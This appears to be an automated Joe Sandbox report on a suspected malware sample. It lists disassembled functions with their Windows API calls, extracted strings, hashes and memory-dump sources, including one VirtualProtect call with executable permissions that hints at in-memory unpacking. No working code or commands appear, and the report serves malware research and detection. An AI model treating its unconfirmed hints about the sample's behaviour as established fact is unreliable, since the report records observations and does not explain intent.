Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9395896353acccf952a291b6f0163853f95de6a84289665eef3950dd9f5b70ca
Instruction ID: 3165abae976a1a503af0a042ae64050d25d6bdce231aed9858111864727df6eb
Opcode Fuzzy Hash: 9395896353acccf952a291b6f0163853f95de6a84289665eef3950dd9f5b70ca
Instruction Fuzzy Hash: DEE08C329112B8EBCB14DF8DC94498AF3ECFB44B50B11449AB611D3100C278EE00D7D1

Uniqueness

Uniqueness Score: -1.00%

Function 00FE010F Relevance: .0, Instructions: 12
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60db8ef128b66eb642bb16a09a4d214568f9693845bcad6d0eb7c0ed8f4044be
Instruction ID: 79b0a121dc3b0b4f6cc34e1f8544064fed43851f6d00944e817edb6ab81195df
Opcode Fuzzy Hash: 60db8ef128b66eb642bb16a09a4d214568f9693845bcad6d0eb7c0ed8f4044be
Instruction Fuzzy Hash: B6C08C38800A804ACE3989119A713A433D6A3D1792F80248CC5020F64AC95EACC2F611

Uniqueness

Uniqueness Score: -1.00%

Function 00FE51EB Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,00000000,?,6FA3B488,?,00FE52F8,?,?,00000000,00000000), ref: 00FE52AC

Strings

ext-ms-, xrefs: 00FE5256
api-ms-, xrefs: 00FE5242

Memory Dump Source

Source File: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: fc36916680a086c88124d90a4592832c28db1b59063f3f73315290ae9dd54dd7
Instruction ID: fad71f1b8a4a2a1da64ce0c36700f5f789e7a6b1f0d88a2282ef5a2c6481e75d
Opcode Fuzzy Hash: fc36916680a086c88124d90a4592832c28db1b59063f3f73315290ae9dd54dd7
Instruction Fuzzy Hash: 25212B31E02795ABCB319B66AC44A6B375CAF41FB4F140120EB01AB291DB34ED00E6D0

Uniqueness

Uniqueness Score: -1.00%

Function 00FE009B Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,00FE0095,00000000,00FDA712,?,?,6FA3B488,00FDA712,?), ref: 00FE00AC
TerminateProcess.KERNEL32(00000000,?,00FE0095,00000000,00FDA712,?,?,6FA3B488,00FDA712,?), ref: 00FE00B3
ExitProcess.KERNEL32 ref: 00FE00C5

Memory Dump Source

Source File: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 310b08f7824decb95b65952e8cd231a218c264f01ffba10298326b9e1d5c0f0e
Instruction ID: 7293f04a455d6c82f7d84c1273ac30abab8210eac1fe76d7d6a5a8cc4d239e82
Opcode Fuzzy Hash: 310b08f7824decb95b65952e8cd231a218c264f01ffba10298326b9e1d5c0f0e
Instruction Fuzzy Hash: DBD06735000244ABCB252F61DC0D95A3F66BB40391B058010B9495D126DFBE9992EB80

Uniqueness

Uniqueness Score: -1.00%

Function 00FD3D0A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(0104FC18,000004AC,00000040,00000000), ref: 00FD3D26

Part of subcall function 00FD3062: OpenIcon.USER32(00000000), ref: 00FD307C

Strings

MZx, xrefs: 00FD3D45, 00FD3D4A

Memory Dump Source

Source File: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID: IconOpenProtectVirtual
String ID: MZx
API String ID: 1301268471-2575928145
Opcode ID: a68227b55117833a9c2eaef0330544ca4cd6848b109c9fe40c65272283033a29
Instruction ID: bd41162a38483a6b825e24a2a45641ea35fc5e812a5bfc2ddf52f00ca5ff873a
Opcode Fuzzy Hash: a68227b55117833a9c2eaef0330544ca4cd6848b109c9fe40c65272283033a29
Instruction Fuzzy Hash: 42E0D8B390512477D710A255ED09ECF365DCFC2765F144035F604A6182D92D8F0593FD

Uniqueness

Uniqueness Score: -1.00%

Function 00FE52B6 Relevance: 1.6, APIs: 1, Instructions: 57
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 710d11dafc5145641be82d36f3f769dacfe5bcd18614fae14d72d8d1c90fcfa7
Instruction ID: fc9bb18da068624630b4a863a0ad633919622fe15e7aa9ef34ac30331679a8f7
Opcode Fuzzy Hash: 710d11dafc5145641be82d36f3f769dacfe5bcd18614fae14d72d8d1c90fcfa7
Instruction Fuzzy Hash: 6301D433B00A655F9F168E6AEC40A6A339BBFC5B747248125FA15DB198DE34D802F790

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00FECD70 Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1436COMMONLIBRARYCODE

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00FECF54

Strings

1#QNAN, xrefs: 00FECE83
1#IND, xrefs: 00FECE75
1#SNAN, xrefs: 00FECE7C
1#INF, xrefs: 00FECEA6

Memory Dump Source

Source File: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: f794d88ee03878774cf39c7ff9137f1051b16e9224f75b87c3e79b415d9331b5
Instruction ID: d102bec0963308256652df94941aec13f3e5e1c4a1cc89af815ddf25af4f0792
Opcode Fuzzy Hash: f794d88ee03878774cf39c7ff9137f1051b16e9224f75b87c3e79b415d9331b5
Instruction Fuzzy Hash: 40D22872E082688FDB25CE29DD407EAB7B5EB44314F1441EAD40EE7640EB78AE859F41

Uniqueness

Uniqueness Score: -1.00%

Function 01007C08 Relevance: 9.1, Strings: 7, Instructions: 344COMMON

Download Yara Rule

Strings

k^PW, xrefs: 01007D00
(, xrefs: 01007E35
^A, xrefs: 01007C84
p,J^, xrefs: 01007C37
k^PW, xrefs: 0100809A, 0100804A, 01008088, 0100806F, 01008068
MTDC, xrefs: 01007C58
H\UK, xrefs: 01007C4D

Memory Dump Source

Source File: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: H\UK$MTDC$^A$k^PW$k^PW$p,J^$(
API String ID: 0-2897112414
Opcode ID: 4cb1d2a139421ae9cb281e9413b061bf2fe9187673c0a3fa46b425bfb9b1e7e3
Instruction ID: 07b566116d808cd9be17a510a3edba2c414ed431ac64d3689bc05e8bc9dfc0f4
Opcode Fuzzy Hash: 4cb1d2a139421ae9cb281e9413b061bf2fe9187673c0a3fa46b425bfb9b1e7e3
Instruction Fuzzy Hash: 51C138B110C3818FE365CF18C4947ABBBE1BF82354F14895DE4E59B292C779990ACB93

Uniqueness

Uniqueness Score: -1.00%

Function 00FEC1E9 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,00FEC507,00000002,00000000,?,?,?,00FEC507,?,00000000), ref: 00FEC282
GetLocaleInfoW.KERNEL32(?,20001004,00FEC507,00000002,00000000,?,?,?,00FEC507,?,00000000), ref: 00FEC2AB
GetACP.KERNEL32(?,?,00FEC507,?,00000000), ref: 00FEC2C0

Strings

OCP, xrefs: 00FEC23D
ACP, xrefs: 00FEC207

Memory Dump Source

Source File: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 0e1e7a26bdb26175bfa8c71feb4fd7ac4a8ecef6ad1b68ed65a145e85e310969
Instruction ID: 827aabb81bda68c62f15f76acfa3f4e995fc1d03daadacc1bd2f10064284ccfc
Opcode Fuzzy Hash: 0e1e7a26bdb26175bfa8c71feb4fd7ac4a8ecef6ad1b68ed65a145e85e310969
Instruction Fuzzy Hash: 8921A472E00285A6DB309FD6C900B97B3A6EB54F70B168564FB4ADB215E732DD42E3D0

Uniqueness

Uniqueness Score: -1.00%

Function 00FEC3BE Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00FE2A40: GetLastError.KERNEL32(?,00000008,00FE879F,00000000,00FDA890), ref: 00FE2A44
Part of subcall function 00FE2A40: SetLastError.KERNEL32(00000000,00000006,000000FF), ref: 00FE2AE6

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 00FEC4CA
IsValidCodePage.KERNEL32(00000000), ref: 00FEC513
IsValidLocale.KERNEL32(?,00000001), ref: 00FEC522
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00FEC56A
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00FEC589

Memory Dump Source

Source File: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: 0472d556fe098f355dbb2def2cfaf4a0ab01750be241853703b44c18f65b45f7
Instruction ID: b385186ac13a71bc639a11d85e83b2e1c21ce0bfd373309d8698897c104d0033
Opcode Fuzzy Hash: 0472d556fe098f355dbb2def2cfaf4a0ab01750be241853703b44c18f65b45f7
Instruction Fuzzy Hash: 4C518472D002499FDB20EFA6CC51ABF77B8FF04710F144469F514EB191EB749905A7A1

Uniqueness

Uniqueness Score: -1.00%

Function 00FE3F3F Relevance: 6.3, APIs: 4, Instructions: 337COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00FE3FCC

Memory Dump Source

Source File: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 957b6a68e01d3e16632ce3fb5a3ba364fe60901d2c6598131793219a536d9919
Instruction ID: 9947b05658a81dc8df63d6367ea08804812b1c36d46eb90a375de2f977e9b4e4
Opcode Fuzzy Hash: 957b6a68e01d3e16632ce3fb5a3ba364fe60901d2c6598131793219a536d9919
Instruction Fuzzy Hash: E3B14632D042859FDF15CF69C8817EEBBA5EF55310F1481AEE614AB241D239ED41E7A0

Uniqueness

Uniqueness Score: -1.00%

Function 00FE8F57 Relevance: 6.2, APIs: 4, Instructions: 206fileCOMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000), ref: 00FE9047
FindNextFileW.KERNEL32(00000000,?), ref: 00FE913B
FindClose.KERNEL32(00000000), ref: 00FE917A
FindClose.KERNEL32(00000000), ref: 00FE91AD

Memory Dump Source

Source File: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID: Find$CloseFile$FirstNext
String ID:
API String ID: 1164774033-0
Opcode ID: 1bfe5380c93ca764cd592b887d1d4d6a7c06f9075927841393ce3d4e25373b62
Instruction ID: b74528440c95f8e520d16ab5b9c8af1dc13dcfe41cc1da2bc784ed97f1c85565
Opcode Fuzzy Hash: 1bfe5380c93ca764cd592b887d1d4d6a7c06f9075927841393ce3d4e25373b62
Instruction Fuzzy Hash: ED711471C091D95FDF30AF3A8C8DAAAB7B9AF05350F1441D9E44CA7211DA398E85AF20

Uniqueness

Uniqueness Score: -1.00%

Function 00FD67DD Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 00FD67E9
IsDebuggerPresent.KERNEL32 ref: 00FD68B5
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00FD68CE
UnhandledExceptionFilter.KERNEL32(?), ref: 00FD68D8

Memory Dump Source

Source File: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 14624d4273060c65baa81dcf6f69ffa8f6a04f12a4d88a525cac19fb97396f97
Instruction ID: 94f5d1aa98690a3cea0345bc05fe1b08836281d1c437c9ba5ab81f998b4d3f52
Opcode Fuzzy Hash: 14624d4273060c65baa81dcf6f69ffa8f6a04f12a4d88a525cac19fb97396f97
Instruction Fuzzy Hash: 8C31F975D053199BDB21EFA4D9497CDBBB8BF08340F1041EAE40CAB240EB759A85DF45

Uniqueness

Uniqueness Score: -1.00%

Function 00FEBE6D Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 00FE2A40: GetLastError.KERNEL32(?,00000008,00FE879F,00000000,00FDA890), ref: 00FE2A44
Part of subcall function 00FE2A40: SetLastError.KERNEL32(00000000,00000006,000000FF), ref: 00FE2AE6

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00FEBEC1
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00FEBF0B
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00FEBFD1

Memory Dump Source

Source File: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: 47d8c5c30eddd8ef322b62d6320cb7c234539ee53ceb4d2ec939817328341580
Instruction ID: 5ec33c51a42fd444569b56051279065b930ea2ee55a3b0d40ac18a9851c23b07
Opcode Fuzzy Hash: 47d8c5c30eddd8ef322b62d6320cb7c234539ee53ceb4d2ec939817328341580
Instruction Fuzzy Hash: E2619172900287DFDB289F26CD82B7A77A8FF44350F104179FA09C6195EB78D952EB90

Uniqueness

Uniqueness Score: -1.00%

Function 00FDA713 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 00FDA80B
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 00FDA815
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 00FDA822

Memory Dump Source

Source File: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 8b66aedbff9b59b47f482940a7a098e861c8011f6f9265c44c06f9db8a6890ce
Instruction ID: 900acb413ad2a14330cedc798cda65146f1048b212eac945e2854a90c848c3e7
Opcode Fuzzy Hash: 8b66aedbff9b59b47f482940a7a098e861c8011f6f9265c44c06f9db8a6890ce
Instruction Fuzzy Hash: 5831D3749013299BCB21EF64D88978DBBB9BF08710F5441EAE41CAB250E7749F819F45

Uniqueness

Uniqueness Score: -1.00%

Function 0103D918 Relevance: 4.1, Strings: 3, Instructions: 309COMMON

Download Yara Rule

Strings

R-,T, xrefs: 0103DAE8
7452, xrefs: 0103D980
R-,T, xrefs: 0103D9D8

Memory Dump Source

Source File: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: 7452$R-,T$R-,T
API String ID: 0-4083704330
Opcode ID: 6033a5dfcd4f86ac96b9042f88b6cb1ab17033edb70b5824f2557b155d135cd1
Instruction ID: 5c02640ff78381c65f022afc470d89102b551b8d5db30c665e7ce13ac741d53e
Opcode Fuzzy Hash: 6033a5dfcd4f86ac96b9042f88b6cb1ab17033edb70b5824f2557b155d135cd1
Instruction Fuzzy Hash: 08B1CA726143128BD714CF58C490A6BBBE6FFC8710F988A6CE9C69B351C370E845CB82

Uniqueness

Uniqueness Score: -1.00%

Function 00FDEEE0 Relevance: 3.4, APIs: 2, Instructions: 449COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf5c6875ad8b9aa219ef09fa5f3f671408767bcd021872790bb57096a96beff6
Instruction ID: c02b7491466af401cca765c737eaffca4dba2f395e7a559e2a9f8da3166f5d06
Opcode Fuzzy Hash: cf5c6875ad8b9aa219ef09fa5f3f671408767bcd021872790bb57096a96beff6
Instruction Fuzzy Hash: 72F14375E002199FDF14CF68D880AADB7B2FF88324F19826AD81AEB351D7319D45DB90

Uniqueness

Uniqueness Score: -1.00%

Function 01038228 Relevance: 1.9, Strings: 1, Instructions: 642COMMON

Download Yara Rule

Strings

onqp, xrefs: 010382C0

Memory Dump Source

Source File: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
